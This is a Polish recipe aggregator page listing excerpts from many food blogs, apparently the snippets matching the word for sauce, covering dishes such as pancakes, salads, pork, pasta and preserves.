maliny czy jagody, a tak naprawdę pełna dowolność, tyle że NIE WCISKAMY OWOCÓW DO CIASTA NA PATELNI, a jedynie dokładamy je do racuchów już na talerzu; - całość polewamy najlepszym sosem czekoladowym, o którym pisałam  tutaj , a który króluje w naszej kuchni od dnia, w którym powstał w niej po raz pierwszy; - kropką nad "i" w tym królewskim śniadaniu

Wegański blog WSZYSTKO JEST W GŁOWIE
Grillowane jabłka z kaszanką i sosem wiśniowym 172

wiśni usuwam pestki. Owoce przekładam do garnuszka. Wlewam wino i duszę około 7 minut. 4.  Jabłka odwijam z folii i układam na talerzu. Podaję z przygotowanym sosem wiśniowym

Tradycyjna kuchnia Kasi
Dietetyczny deser z musli, jogurtem i duszonymi śliwkami - przepis 222

Śliwki kroimy na połówki pozbywając się pestek Wrzucamy je na patelnie, zasypujemy cukrem i dodajemy troszkę wody (2-3 łyżki) Śliwki dusimy ok 10-15 minut, aż zmiękną a sos zgęstnieje Do pucharków nakładamy musli do każdego po 2-3 łyżki Zalewamy to jogurtem Na wierch dajemy 3-4 łyżki śliwek (mogą być jeszcze lekko ciepłe) Deser z musli, jogurtem

Pyza i Surówka
Karkówka w ketchupie 337

Wierzch ewent. smarujemy ketchupem. Przykrywamy i gotujemy na małym ogniu ok 1,5 h do miękkości mięsa. W międzyczasie 1-2 razy delikatnie mieszamy. Karkówka wychodzi bardzo krucha a sos jest po prostu obłędny

Atlas Smaków
Kotlety mielone inaczej czyli greckie kebabiki na patyku 259

czosnek drobno pokroić i zeszklić na oleju. Bułkę, cebulę i czosnek dodać do mięsa, doprawić do smaku. Uformować podłużne wałeczki i nabijać na patyki. Smażyć obracając. Podawać z sosem tzatziki

Atlas Smaków
Makaron z białymi szparagami i brokułami 178

chwili dodać posiekany czosnek. Chwilę podsmażyć, dodając wodę ( 1-2 łyżki ). Do szparagów dodać brokuły i makaron. Część brokuła i szparagów można rozgnieść dla zagęszczenia sosu. Całość podgrzać. Ewent. polać oliwa z oliwek. Doprawić solą i pieprzem do smaku

Atlas Smaków
Mintaj w sosie śliwkowym 182

gotujemy do miękkości. Przecieramy przez sito. Dodajemy przeciśniety przez praskę czosnek, goździki, cynamon i miód. Gotujemy 5 min. Filety smażymy na złoto i układamy w naczyniu żaroodpornym. Zalewamy sosem. Wstawiamy do piekarnika nagrzanego do 220°C na 10 min. Dodatek: brązowy ryż

Atlas Smaków
Pierogi z malinami 216

dużym płaskim garnku. Lekko posolić. Pierogi władać partiami na wrzątek, gotować ok 3 min do wypłynięcia. Wyjmować łyżką cedzakową na talerz. Pierogi można polać śmietanką z cukrem lub sosem malinowym. Dodatkowe maliny możemy przetrzeć prze sitko a sok wykorzystać do zrobienia sorbetów malinowych. ...a sitkiem z malinami chętnie zajmą się mali pomocnicy

Atlas Smaków
Soffi Flower Coffee. Szczecin. 217

pikantna tajska zupa z kurczakiem na mleku kokosowym z dodatkiem trawy cytrynowej Sałatka Ciepła Koza ( 18 zł ) - mix sałat z ciepłymi grzankami z serem kozim, pomidorkami koktajlowymi i sosem miodowym vinegrette, posypana prażonymi orzeszkami pinii Ciepła Koza Herbata kwitnąca Wschodzące Słońce ( 11,90 zł ) - ręcznie zwijane na kształt kuli liście białej herbaty, które po zaparzeniu ukzajują kwiat lilii i amarantusa

Atlas Smaków
Rolada ze szczupaka 257

studzimy. Do przecedzonego wywaru rybnego dodajemy namoczoną wcześniej żelatynę. Roladę kroimy w 0,5 - 1 cm plastry i zalewamy tężejącą galaretkę. Dekorujemy plasterkami cytryny.  Szczupaka podawać z sosem beszamelowym. Inspiracja :  kuchnia-mojapasja

Atlas Smaków
Pasta z tuńczyka i twarogu 165

puszka tuńczyka w sosie własnym 250 g twarogu półtłustego łyżka majonezu / jogurtu naturalnego pół czerwonej papryki 2 łyżki posiekanego szczypiorku sól i pieprz Do miseczki wkładamy twaróg i rozdrabniamy widelcem. Dodajemy drobno pokrojoną paprykę ,szczypiorek i kawałki tuńczyka. Dokładnie mieszamy. Jeżeli pasta jest za sucha dodajemy majonez do uzyskania ulubionej konsystencji. Doprawiamy pieprzem i solą

Atlas Smaków
Schab gotowany 219

Schab gotowany - doskonały jako wędlina na zimno lub w plastrach z sosem na ciepło.  Inspiracja: Moje Gotowanie, kwiecień 2014 2 kg schabu środkowego ( ja zrobiłam z 0,7 kg schabu ) 2,5 l wody 2 liście laurowe 3 ziarenka ziela angielskiego łyżeczka majeranku 1/3 szklanki soli łyżeczka mielonego pieprzu 4 ząbki czosnku 2 łyżki majonezu Wodę wlewamy do garnka

Atlas Smaków
QUICHE LORRAINE inaczej 214

Słynny placek lotaryński - rodzaj ciasta zapiekanego z boczkiem, szynką, tartym serem i jajami i sosem bolognese. Dziś moja wersja z wędzonym kurczakiem :) Polecam! 200 g ciasta francuskiego wędzona pierś kurczaka  4 jajka 150 g śmietany 18 % 1/3 szklanki mleka 150 g startego żółtego sera gałka muszkatołowa pieprz Piekarnik nagrzać do 180°C. Formę wylepić ciastem, przykryć papierem do pieczenia

Atlas Smaków
Kurczak na butelce 209

warto poeksperymentować również z cydrem ) marynata: sól i pieprz; czerwona słodka papryka; czosnek; ulubione zioła: oregano, bazylia, zioła prowansalskie, rozmaryn, cząber, estragon, majeranek itp.; 3 łyżki oleju rzepakowego; łyżka sosu sojowego ewent. warzywa: ziemniaki, marchew, czosnek, cebula Wszystkie składniki marynaty dokładnie mieszamy.  Kurczaka myjemy i osuszamy. Nacieramy dokładnie kurczaka i zostawiamy na min 2 godziny ( lub najlepiej całą

Atlas Smaków
Pankejki 232

nakładać partiami, spodem dużej łyżki formując kształt okrągłego placuszka ( 1 duża łyżka - 1 placuszek ). Przewracać, gdy na powierzchni pojawią się bąbelki. Smażyć na złoto. Podawać z miodem, syropem klonowym , sosem malinowym lub owocami. Inspiracja:  klik

Atlas Smaków
Pieczone młode ziemniaki 470

tymiankiem.   Blaszkę wyłożyć papierem do pieczenia, rozłożyć ziemniaki, posypać solą i piec ok 40 min, do zrumienienia. Podawać jako dodatek do dania głównego lub jako lunch/kolacje wraz z sosem tzatziki

Atlas Smaków
Pesto alla genovese 254

Pesto alla genovese to pochodzący z Genui sos, którego głównym składnikiem jest bazylia - pochodząca z Azji i zdziczała na południu Europy już przed wiekami roślina jednoroczna. W Persji bazylia była nazywana zielem królewskim, a w średniowieczu była miłosnym talizmanem. W lecznictwie podawano ją flegmatykom i melancholikom, a to zapewne za sprawą tego, że poprawia trawienie, zapobiega wzdęciom i pobudza wydzielanie

W SMAK
Gulasz z indyka w warzywach 205

minut  - Dodać pokrojoną w plasterki marchew i groszek - Gotować aż wszystko zmięknie - W wodzie rozmieszać mąkę Wlać ma mięso gotować  cały czas mieszać aż zrobi się sos w razie  konieczności dolać wodę

W królestwie smaków Beaty
Zapiekanka z kaszy jęczmiennej/jaglanej 301

kaszy. Cebulkę podsmażyć w garnku do miękkości na maśle, posypać lekko łyżeczką mąki i zarobić na masę, wlać rosołek i mleko, i zagotować. Następnie zalać kaszę w formie sosem i zapiekać w piekarniku na temp. 180 stopni al. 35 minut…. (Można posypać lekko tartym żółtym serem). Zapiekanka z pierwszego przepisu była z makaronem, przepyszna, kolejną wersję wypróbowałam z ryżem.... potem

Tradycyjna kuchnia inaczej
czerwona salatka z arbuza i sera -- insalata rossa di anguria e formaggio 241

kwadraty-z arbuza 1/2 szklanki dobrej jakości koziego sera ,lub sera feta ,lub twarogu 1/2 szklanki , posiekane orzechy 1/8 szklanki cebuli czerwonej pokrojonej w cienkie plasterki 1/4 szklanki sosu balsamicznego liście bazylii i mięty 1 ogórek zielony pocięty na mandolinie wzdłuż na cienkie ,dlugie plastry. 1 łyżka cukru trzcinowego Wykonanie Cebule i ogórek ,pokroic na plasterki ,posypac cukrem trzcinowym

w mojej kuchni
Klopsiki z marchewką i groszkiem 295

dodać wszystkie obsmażone pulpety. Gotować około 30 minut, w razie potrzeby dodać odrobinę wrzątku. Jeśli użyjemy groszek konserwowy, wystarczy dodać go pod koniec gotowania.   Jeśli ktoś lubi gęsty sos , można go zaciągnąć łyżką mąki wymieszanej z odrobiną wody no i oczywiście pogotować jeszcze z 5 minut ciągle mieszając lub też śmietaną. Przepis   tutaj SMACZNEGO

zielonacukinka
Makaron z tuńczykiem 283

opakowaniu. Czosnek drobno siekamy, pora koimy drobno i podsmażamy. Następnie dodajemy tuńczyka i jeszcze chwilę smażymy. Do tuńczyka dodajemy całe czarne oliwki, natkę pietruszki i odcedzoną kukurydzę. Przygotowany sos przekładamy do makaronu, dodajemy koncentrat pomidorowy i całość dokładnie mieszamy. Potrawę przyprawiamy do smaku solą i pieprzem. Porada: Zamiast pora proponuję użyć cebulę.   Smacznego

paapilotkaa
Karkówka pieczona w piekarniku po meksykańsku 505

smaku. Dokładnie mieszamy. Pieczarki kroimy w plastry.Cebulę kroimy w krążki. 3. W naczyniu żaroodpornym układamy kolejno: 1/2 porcji karkówki, 1/2 porcji kukurydzy, 1/2 porcji fasoli, 1/2 cebuli, 1/2 sosu pomidorowego i ponownie tak samo by powstały dwie warstwy.  4. Karkówkę pieczemy w temperaturze 180 stopni przez około

Szefowa kuchni
Racuszki dyniowe z kiełbasą 162

żółtka utrzeć z masłem. Połączyć wszystkie składniki, dodać ubitą pianę z białek, posolić do smaku i wymieszać. Smażyć na rozgrzanym oleju z obu stron i podawać z dodatkiem sosów np. pomidorowym

Tradycyjna Kuchnia
Soczysty kurczak a'la Michael 181

przykryć je szczelnie. Następnie piec w temp. ok 180 C przez 35 minut. (temperatura i czas zależy od piekarnika) Można podać z ziemniakami lub ryżem. Do  sałaty użyłam sosu vinaigrette. Składniki: 3 łyżki oliwy z oliwek 1 łyżka octu balsamicznego sól pieprz 1 ząbek czosnku 0,5 łyżeczki cukru 0,5 łyżeczki musztardy Wszystkie składniki dokładnie wymieszać. Ja dodaje

The Sweet Damsel
Sałatka z kurczakiem i mozzarellą 170

zawiniętą w folię aluminiową. Do miski wsypać mix sałat, pokrojone pomidorki koktajlowe, pokrojoną mozzarellę, posiekany koperek i bazylię. Pokrojonego kurczaka ułożyć na wierzchu. Przyprawić solą i pieprzem. Całość polać sosem

The Sweet Damsel
Sałatka z kurczakiem, camembertem i sosem winegret 481

pokroić na mniejsze kawałki. Wszystkie warzywa należy pokroić w kostkę. Szczypiorek i natkę drobno posiekać. Mix sałat wyłożyć na talerz razem z warzywami, ziołami, camembertem oraz kurczakiem. Całość polać sosem winegret.  Można podać z pieczywem zapiekanym z masłem czosnkowym. Dressing: 2 łyżki oliwy 1 łyżeczka octu balsamicznego 1 ząbek czosnku 1/3 łyżeczki cukru sól i pieprz 0,5 łyżeczki

The Sweet Damsel
Pieczona pierś z kurczaka z sosem z prawdziwków 216

Przygotowanie: Pierś oczyścić, natrzeć czosnkiem i obsypać przyprawami. Następnie zawinąć w folię aluminiową i ułożyć na blaszkę. Piec w piekarniku ok. 40-50 minut w temperaturze ok. 180 C. Sos z prawdziwków Składniki: Prawdziwki Jogurt naturalny 1 średnia cebula Natka pietruszki koperek 1 łyżka oleju Przyprawa do potraw ‘warzywko’ Majeranek 3 liście laurowe Ziele angielskie ( ok. 4 ziarenka) sól

The Sweet Damsel
Szybkie szaszłyki 202

Nadziałam mięso na przemian z cebulą: schab/cebula/pierś z kurczaka/schab/cebula/pierś z kurczaka Wstawiłam do piekarnika na ok 25 minut i piekłam w 200*C Szaszłyki  można polać sosem tzatziki - pycha :) Szybkie i smaczne

The Sweet Damsel
Zapiekanki 180

pieczarki z cebulką oraz parówki. Przykryć plasterkami żółtego sera i zapiec w piekarniku do momentu, kiedy ser ładnie się zarumieni :) Można podawać z ketchupem, majonezem lub z innym ulubionym sosem. Ja dodałam również kiełki i rukolę- pycha

The Sweet Damsel
Kurczak pieczony 253

naczyniu żaroodpornym. Wlać do naczynia  ¾ szklanki wody. Włożyć kurczaka do piekarnika nagrzanego do ok. 190*C i piec przez ok. 1,5 h. Co 15 minut polewać kurczaka sosem, który zbierze się na dnie i zmiesza z wodą. Po upieczeniu, zostawić kurczaka w uchylonym piekarniku  na ok. 10 – 15 minut

The Sweet Damsel
Sałatka z grillowanym kurczakiem 391

sałat wysypać na talerz, dodać pokrojoną w paski paprykę, przekrojone na połówki lub ćwiartki pomidorki koktajlowe oraz posiekany koperek. Na wierzchu ułożyć grillowaną pierś z kurczaka i polać ulubionym sosem ( ja użyłam  dressing z musztardą i octem balsamicznym ) Podałam sałatkę z jajkiem sadzonym i bagietką - pycha

The Sweet Damsel
Prosta sałatka z tuńczykiem. 380

niczym. Dzisiejsza sałatka to tylko słony smak ryby, słodki kukurydzy i lekko ostry szczypiorku. Tylko tyle, i aż tyle. Na prawdę warto. Przepis Składniki: 2 puszki tuńczyka w sosie własnym puszka kukurydzy mały pęczek szczypiorku 1-2 łyżki majonezu odrobina pieprzu Przygotowanie: Puszki z tuńczykiem i kukurydzą otwieramy i odsączamy wodę. Tuńczyk najlepiej jak będzie w kawałkach. W Polsce występuje

KasiaiKrzysiu.pl
Gołąbki z mięsem i ryżem w sosie pomidorowym 258

Gołąbki z mięsem i ryżem w sosie pomidorowym Najlepsze gołąbki robiła moja mama...Moje nie są złe, ale jakoś tak z sentymentem wracam do tamtych gołąbków...Może dlatego, że tamte były podstawione pod nos, a swoje trzeba samemu zrobić :) Powiem szczerze, nie lubię robić gołąbków, ale uwielbiam je jeść. Pociesza mnie tylko to, że gotując cały garnek gołąbków, mam spokój

na moim stole...
Tagliatelle z kurkami 176

minut aż kurki zmiękną, mieszać co chwilę, dodać połowę mleka, doprawić do smaku i mieszać aż mleko zredukuje się do połowy, czynność powtórzyć z druga połową mleka. Gotowy sos wymieszać z makaronem i oliwą i rozkoszować się smakiem

greenscarf
70. Domowa creme fraiche z truskawkami 185

ukwaszoną tłustą (ok. 30-36% tłuszczu) śmietaną o konsystencji kremu. Świetnie nadaje się do deserów m. in. do świeżych owoców, czy lodów, do zup (nie ścina się przy gotowaniu!), sosów, a nawet ciast! Można kupić ją w sklepach, jednakże jeśli mamy możliwość w banalny i nieskomplikowany sposób przyrządzić tę śmietankę w domu to po co marnować pieniążki? W dodatku domowy

Be Fit Be Strong
Duszona pręga wołowa z warzywami 184

m4502, dodać posiekaną cebulę i kapustę. Zalać wodą. Kolejno dorzucić do misy brukselkę i fasolkę. Doprawić. Dodać tez kość ze szpikiem. To właśnie z niej powstanie przepyszny i aromatyczny sos. Zamknąć urządzenie i nastawić program STEW i czas 60 minut.   Pręgę można podawać do dań duszonych, pieczonych oraz smażonych. Stosuje się ją również na wywary, zupy, buliony, rosół, gulasz

ClauditteMissCooking
Sałatka z bobem 239

łódeczki. W miseczkach układamy listki szpinaku, bób i jajka. W osobnej misce mieszamy jogurt, majonez i doprawiamy solą, pieprzem świeżo mielonym i czosnkiem granulowanym.  Ułożone składniki polewamy sosem i posypujemy słonecznikiem i posiekanym drobno  koperkiem. Schładzamy całość w lodówce. Na zimno jest dużo smaczniejsza;) Pycha

Lawendowe Niebo
Surówka z pora, marchewki i jabłka 265

wrzątkiem, dobrze odcedzić i zostawić do ostygnięcia. Marchewkę i jabłko obrać, zetrzeć na tarce o średnich oczkach, a następnie wymieszać z porem. Majonez połączyć z jogurtem, cukrem, solą, pieprzem. Sos wlać do warzyw, wymieszać. Wstawić na godzinę do lodówki. Źródło:  margarytka.blogspot.com linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
WEGAŃSKA ZIELONA GÓRA: Wegarnik 235

Jedną taką porcję zjedliśmy na pół, więc nie najedliśmy się bardzo, ale możliwe, że niektórym mogło by to w zupełności wystarczyć.  Na dokładkę wzięliśmy American Burgera (marynowany tempeh, sos bbq, masło orzechowe, sojonez, ogórek). Mamy do wyboru dwa rodzaje bułek - pełnoziarnistą i białą. My wybraliśmy pełnoziarnistą. Burger był przepyszny, bułka również. Marynowany tempeh jedliśmy pierwszy raz w burgerze

Bananowe Pole
Fasolka szparagowa w pomidorach do słoika 182

kuchni, już mi się słoiki po nocach będą śnić!. Przetwarzania ciąg dalszy :). Mamy teraz pierwsze najlepsze fasolki, bo jeszcze nie łykowate. Smakowo trio fasolowe z marchewką i cebulą w sosie pomidorowym sprawia, że to pyszna przekąska, którą można podawać zarówno na ciepło jak również na zimno. Moje już gotowe, pasteryzują się.... Składniki: 3 kg fasolki szparagowej 10 dużych marchewek

Apetyczna babeczka
Paprykowy sos słodko-kwaśny do słoików 186

Dziś zapraszam na żelazny punkt w mojej spiżarce. Mix sezonowych warzyw w pysznym sosie słodko-kwaśnym. Idealne na szybki obiad. Wystarczy dodać podsmażonego kurczaka i makaron i pyszny obiad gotowy.   Składniki: (na 4 słoiki 1l) 10 średnich pomidorów biała cebula czerwona cebula 2 średnie cukinie po 2 papryki żółte, czerwone i zielone 2 ząbki czosnku 2 kolby kukurydzy opcjonalnie

Pyry na Gaz
Penne razowe w sosie pomidorowym z serem ricotta i orzechami nerkowca 217

czasie wstawiamy makaron do gotowania w osolonej wodzie. Do przesmażonych pomidorów dodajemy serek ricotta. Przesmażamy, doprawiamy solą, pieprzem, oregano, chilli i posiekaną bazylią. Ugotowany makaron odcedzamy i łączymy z sosem. Porcje makaronu wykładamy na talerze i posypujemy posiekanymi orzechami nerkowca i płatkami parmezanu. Smacznego

kulinarnyJa
Sałatka z kaszy bulgur z kurczakiem curry i ananasem 239

pokroić w kosteczkę (ciepłe nie pokroją się ładnie). Kaszę, kurczaka, kukurydzę, ananasa i orzechy wymieszać ze sobą. W kubku majonez zmieszać z podobną ilością soku z ananasa, doprawić pieprzem. Sos dodać do sałatki, wymieszać i ewentualnie doprawić. Sałatkę najlepiej podać schłodzoną w lodówce, choć nie jest to konieczne :) Kolejny raz polecam bulgur, bo to smaczna delikatna kasza, która przy okazji

Trzeci talerz
Placuszki z cukinii z wędzonym serem, Vegus 234

Placuszki przygotujesz wg tego przepisu . Dodaj do ciasta jeszcze ok. 50-100 g startego wędzonego żółtego sera. Jedzone z sałatą i sosem czosnkowym (jogurt naturalny + czosnek + zioła + sól + pieprz). Niestety po ostatniej wizycie w Vegusie , trochę się rozczarowałam. Nie chodzi o jedzenie (bo to jest bardzo smaczne), ale o obsługę. Wiem, że kelnerki pracują tu jak mrówki, więc chyba trafiliśmy

Qlinarnie i Qlinarnie
Pytt i panna, Makarun 225

wodzie). Pozostałe podsmaż na oleju z dodatkiem ziół, soli i pieprzu. W dużej misce wymieszaj wszystkie składniki. Dopraw jeszcze do smaku. Podawaj z sadzonym jajkiem. Podałam też z sosem musztardowo-bazyliowym (jogurt naturalny + musztarda + świeża posiekana bazylia + ulubione zioła). Przepis dodaję do akcji:     Pewnego późnego wieczoru, w poszukiwaniu czegoś do jedzenia, trafiliśmy do Makarunu przy Matejki

Qlinarnie i Qlinarnie
Szybka chinszczyzna z kurczakiem w panko 298

Szybka domowa chińszczyzna to nic trudnego. Wystarczy chiński makaron, trochę orientalnych sosów, przypraw i obiad w stylu azjatyckim gotowy w kilka minut. Do mięsa używam genialnej panierka panko, którą bez problemu można już kupić w sklepach z asortymentem egzotycznym lub w dużych hipermarketach. Dzięki niej mięso jest bardzo chrupiące. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
placki z cukinią i białym serem 170

kostkę, czosnek przeciskamy przez praskę. Wszystkie składniki dodajemy do startej cukinii, doprawiamy solą oraz pieprzem. Niewielkie placuszki smażymy z obu stron na złoty kolor na rozgrzanym tłuszczu. Podajemy z sosem mięsnym lub czosnkowym. (Inspiracja z przepisu s. Anastazji

Domowy Smak Jedzenia
Kurczak w zielonym curry 189

maśle. Dodajemy zielone curry, smażymy jeszcze kilka minut ciągle mieszając, dolewamy gorącego bulionu, dodajemy ananasa oraz miąższ kokosa i dusimy na wolnym ogniu ok. 30 min. Po tym czasie sos redukujemy lub zagęszczamy mąką ziemniaczaną rozrobioną w zimnej wodzie. Do smaku doprawiamy solą i pieprzem. Podajemy z ryżem jaśminowym. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
cukinia w sosie musztardowo chrzanowym do słoików 207

Pyszna cukinia w zmienionym nieco sosie Składniki: - 3-4 nie wielkie cukinie ok 25 - 30 cm zalewa - 1 l wody - 5 łyżek musztardy - 2 łyżki startego chrzanu - 1 szklanka cukru - 3 łyżki soli - 1 szklanka octu - 2 łyżki suszonej pietruszki do każdego słoika - pół łyżeczki gorczycy - 1 kulka ziela angielskiego - kawałek liścia laurowego Sposób przygotowania: 1. - Cukinię pokroić w dużą

W królestwie smaków Beaty
Spaghetti z warzywnym sosem 176

dodać przyprawy bazylię dusić aż odparuje woda 3. Makaron włożyć do zimnej wody ugotować al dente pilnować i mieszać aby się nie rozgotował  odcedzić Podawać z warzywnym sosem

W królestwie smaków Beaty
Czarna marchew z groszkiem 171

łyżka mąki - 1 łyżka masła - 1 łyżeczka musztardy - sól pieprz Sposób przygotowania 1. - marchew pokroić w plastry ugotować w niewielkiej ilości wody tak aby woda wyparowała 2. - Zrobić sos w garnku rozpuścić masło dodać mąkę wymieszać zalać szklanką wody  mieszać  aż się zagotuje dodać marchewkę i groszek doprawić solą i pieprzem dodać łyżeczkę musztardy  dobrze wymieszać

W królestwie smaków Beaty
Wątróbka w papryce 177

Dobra wątróbka w paprykowym sosie przepis dostałam kiedyś od koleżanki Składniki - 70 dag wątróbki drobiowej - 3 cebule średnie - 3 łyżki papryki słodkiej - sól pieprz - olej  Sposób przygotowania 1. - Cebulę pokroić w pióra włożyć na patelnię kilka łyżek oleju przesmażyć cebulę -  Dodać wątróbkę posypać papryką dusić aż odparuje woda co chwilę przemieszać doprawić    solą i pieprzem

W królestwie smaków Beaty
Przystawka fasolki z puszki 234

znajomych  Od kiedy znam ten przepis u mnie w domu można zawsze znaleźć   puszkę fasoli w zapasie Składniki - 1 puszka fasoli czerwonej - 1 ząbek czosnku średni - sos sałatkowy koperkowo - ziołowy - 2- 3 łyżki oleju Sposób przygotowania 1. - Fasolkę z puszki dać na sito i odcedzić z zalewy fasolkę przełożyć do miski  - Na drobnej tarce zetrzeć ząbek

W królestwie smaków Beaty
Surówka Jarmużu 263

długo  by nie stracił koloru jarmuż szybko mięknie nie potrzeba go długo gotować odcedzić na sicie 2. masło rozpuścić dodać mąkę wlać szklankę wody zrobić sos dodać jarmuż  wymieszać doprawić solą i pieprzem

W królestwie smaków Beaty
Knedle z czereśniami 160

agotować sok   W 1/4 szklance wody  rozpuścić kisiel dodać cukier jak jest na opakowaniu wymieszać  z gotującym sokiem  mieszać aż się wszystko zagotuje sosem polać knedle

W królestwie smaków Beaty
Gulasz z żołądków 174

Dobry nie drogi obiad  Składniki - 70 dag żołądków drobiowych - 2 cebule - 25 dg pieczarek - 1 puszka pomidorów krojonych ( dałam robione swoje w sosie własnym ) - 1 papryka - 1 ząbek czosnku - przyprawa do kurczaka złocista - kilka płatków suszonej papryczki chili - olej + 1 łyżka masła klarowanego - pieprz sól - 25 dag makaronu Sposób przygotowania 1. - Cebulę pokroić w kostkę na głębokiej patelni dać

W królestwie smaków Beaty
Koperek na zimę do zamrażarki 167

Zimą możemy się cieszyć pysznym aromatem koperku  Używam go do sałatek zup i sosów jest pachnący jak świeży Składniki - Koperek Sposób przygotowania 1. - Koperek umyć związać w bukieciki powiesić  Najlepiej na noc aby od kapała woda .Koper powinien być suchy  - koperek posiekać umieścić w woreczkach lub pojemniku zamrozić

W królestwie smaków Beaty
Placki ziemniaczane z lubczykiem 241

solą pieprzem  - Dodać mąkę i skrobię która osadzi się na dnie szklanki  wszystko razem  wymieszać doprawić smażyć na oleju  - Podawać z śmietaną lub dowolnym sosem

W królestwie smaków Beaty
Placki ziemniaczane z marchewką i cukinią 342

zapiekanie przez około 25 minut w 220 stopniach- taka wersja jest smaczna, jednak ja zdecydowanie preferuję te smażone na tłuszczu :) Do idealnego duetu niezbędna jest kwaśna śmietana, albo np. sos tzatziki, a nawet świetnie będzie się komponował mięsny czy warzywny gulasz, albo... najlepiej podać z tym, na co akurat ma się chęć! :))) Około 20 placków: * ziemniaki- 200 g * marchewka

Kraina Miodem Płynąca
Jajecznica idealna 198

zwarty miąższ usiany jest oczkami o wielkości orzecha laskowego. Aldamer MSM Mońki doskonale nadaje się do błyskawicznego przygotowania szybkich przekąsek w postaci koreczków i kanapek, jak również do zapiekanek, sosów, pizzy czy dań bardziej wyszukanych, jak coraz popularniejsze fondue. Kulinarną kompozycję z łagodnym w smaku serem Aldamer, najlepiej stworzą lekkie wina o delikatnym bukiecie, białe bądź różowe. Źródło: http://www.msm-monki.pl

ClauditteMissCooking
Szaszłyki z kurczaka, papryki i cebuli 328

daniach tego rodzaju. Nie żałujcie aromatycznych przypraw, ziół i świeżych dodatków. Grillujcie i cieszcie się smakiem pysznego jedzenia. My zjedliśmy szaszłyki z sałatką, ale możecie do nich podać także sos tzatzyki . P ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Zapiekanka ziemniaczana z cukinią i pieczarkami 357

dnie warstwę z ziemniaków. Następnie wyłożyć na nie podsmażone warzywa i boczek. Przykryć wierzch drugą warstwą ziemniaków.  Śmietanę wymieszać z surowymi jajkami, startym żółtym serem oraz natką pietruszki. Sos doprawić do smaku gałką muszkatołową, solą i pieprzem. Zalać nim zapiekankę i wstawić całości do piekarnika nagrzanego do 180 st. Piec około 30 minut

Qchnia po prostu
Młode ziemniaki z grilla. 241

grubości, posypujemy ulubionymi przyprawami, smarujemy oliwą z oliwek, zawijamy w folię aluminiową, nakłuwamy i pieczemy do miękkości- po prostu pyszności. Podajemy do mięs bądź kiełbasek lub tylko z sosem czosnkowym

Kuchnia Beaty
Placki z cukinii 262

patelnię i smażymy na rozgrzanym tłuszczu z obu stron. Placki lekko wyrastają. Gotowe placki z cukinii podałam z śmietankowym gulaszem z kurczaka, ale można je podać np. z sosem czosnkowym i koperkiem.   The post Placki z cukinii appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Jak jeść zdrowo na wakacjach? 206

możliwe :) Gofry - od czasu do czasu można sobie pozwolić na tę małą przyjemność, pod warunkiem że zamówimy takiego z dużą ilością owoców, bez sztucznej bitej śmietany i słodkich sosów. Kebab, zapiekanka - takich miejsc najlepiej w ogóle nie odwiedzać, szczerze wątpię w świeżość używanych tam produktów, czystość kuchni czy pochodzenie mięsa. Jeśli planujesz pić alkohol, najlepiej żeby było to wytrawne, czerwone

Powiedz dietom nie
Wakacyjny obiad w 15 minut. Farfalle w rustykalnym stylu. 229

minuty.  Następnie dodać Cydr Green Mill, sok z połowy cytryny, szczyptę soli i pieprzu, dusić ok. 5 minut aż płyn odparuje.  Łyżką cedzakową przełożyć makaron do sosu, podlać kilkoma łyżkami wody z makaronu, dodać gorgonzolę i dusić mieszając, do czasu aż ser się rozpuści.  Pod koniec gotowania doprawić solą, pieprzem i sokiem z cytryny, dodać skórkę otartą

SzczyptaSmaQ
Miszmasz w cieście francuskim 242

każdy nakładamy farsz. Składamy w kopertę zlepiamy boki. Układamy na blaszce wyłożonej papier lub folią. Pieczemy ok 30 min w piekarniku nagrzanym do 200 st C. Podajemy z sosem jogurtowo czosnkowym. SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Portugalska kolacja 220

zginęły mi dzikie krewetki. Danie główne   ręcznie łowiony okoń morski / brokuły / małże / czosnek niedźwiedzi (Pedro) - Esporão Reserva white 2014- danie piękne wizualnie i smakowo polędwica wołowa / bagna cauda (sos na bazie anchois i oliwy) / czekolada / topinambur (Martin) – Esporão Reserva red 2012/11/10 (trzy wina z kolejnych roczników) - polędwica i Martin...nic więcej nie potrzeba, mięso idealne i zawsze ma ochotę

królestwo garów
Lunch w pracy: sałatka a'la grecka 568

mieszamy w misce i tak przygotowane warzywa możemy zostawić w lodówce na noc. W pudełku (lunchboxie)  wsypujemy 3 garście gotowej mieszanki sałat, posypujemy ja przygotowanymi wcześniej warzywami.  Sos przygotowujemy z oliwy, octu, soli i pieprzu i polewamy nim bezpośrednio sałatkę ułożoną w pudełku Na koniec posypujemy sałatkę pokrojonym w kosteczkę serem sałatkowym. Smacznego

Taste Therapy
Makaron w pikantnym malinowym sosie z chilli, czosnkiem i octem balsamicznym z dodatkiem koziego twarożku 191

balsamiczny i sok z limonki oraz przeciśnięty czosnek - całość podgrzewać do zgęstnienia  - ugotowany wyłożony na talerz makaron posypać rozdrobionym kozim twarożkiem i  polać  malinowym sosem - ozdobić listkami świeżej mięty i posypać całymi malinami SMACZNEGO

Pora na pora i pomidora
Kasze - jak gotować? 206

dalej postępujcie jak wyżej napisałam :) Kasze (zwłaszcza te najgrubsze) nie muszą oznaczać standardowych jeszcze niedawno dań typu: gęsta posklejana kasza, a do niej równie gęsty, zawiesisty sos mięsny. Kasze są wspaniałą bazą do sałatek czy zapiekanek. Doprawiać je można dowolnie, na słodko, ostro, kwaśno. Kasze lubią zioła i aromatyczne dodatki, a niektóre z nich mogą być

Codzienna kuchnia niecodzienna
Bakłażan z mięsem po bałkańsku 237

Dzisiejsza propozycja to bakłażany faszerowane mięsem mielonym zatopionym w aromatycznym pomidorowym sosie z przepysznym ryżem. Danie jest wyśmienite, sycące i niezwykle smaczne. Zapraszamy. Czas przygotowania: 20 minut + 20 minut pieczenia Ilość porcji: 4 Składniki: Woreczek ryżu naturalnego 500g mięsa mielonego 4 bakłażany (optymalnie papryki) 2 szalotki Ząbek czosnku Puszka krojonych pomidorów 100 g żółtego sera 2 łyżeczki przecieru pomidorowego Pęczek

Kolizje Smaków
Kotleciki z piersi kurczaka z serem 251

